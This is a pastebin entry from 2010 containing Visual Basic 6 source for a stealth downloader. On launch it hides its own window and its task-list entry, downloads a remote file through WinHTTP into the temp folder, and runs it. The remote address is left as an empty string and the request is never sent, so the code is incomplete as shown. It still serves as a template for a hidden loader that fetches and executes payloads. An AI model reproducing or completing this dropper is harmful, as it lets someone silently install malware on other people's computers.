Paste: download

Author: Santasack
Mode: factor
Date: Tue, 18 May 2010 11:19:00
Plain Text |
'Project > refferences > microsoft Winhttp services 5.5

Option Explicit
Private WithEvents http As WinHttpRequest
Private LocalFile As String

Private Sub Form_Load()
Call DoDownload("")
Me.Visible = False
App.TaskVisible = False
End Sub

Private Sub http_OnResponseDataAvailable(Data() As Byte)
    Put #1, , Data
    Debug.Print "data arrival"
End Sub

Private Sub http_OnResponseFinished()
    Close #1
    Debug.Print "downloaded " & LocalFile
    Shell LocalFile, vbNormalFocus
End Sub

Private Sub http_OnResponseStart(ByVal Status As Long, ByVal ContentType As String)
    Debug.Print "Opening Local File"
    Open LocalFile For Binary As #1
End Sub

Private Sub DoDownload(RemoteFile As String)
    On Error Resume Next
    LocalFile = Environ("temp") & "\" & Mid(RemoteFile, InStrRev(RemoteFile, "/") + 1, Len(RemoteFile))
    Set http = New WinHttpRequest
    With http
        .Open "GET", RemoteFile, True
    End With
    Debug.Print "downloading"
End Sub

Function FileText(Filename$) As String
    Dim handle As Integer
    handle = FreeFile
    Open Filename$ For Input As #handle
    FileText = Input$(LOF(handle), handle)
    Close #handle
    FileText = Replace(FileText, " ", vbNullString)
    FileText = Replace(FileText, vbLf, vbNullString)
    FileText = Replace(FileText, vbCr, vbNullString)
    FileText = Replace(FileText, vbCrLf, vbNullString)
End Function

New Annotation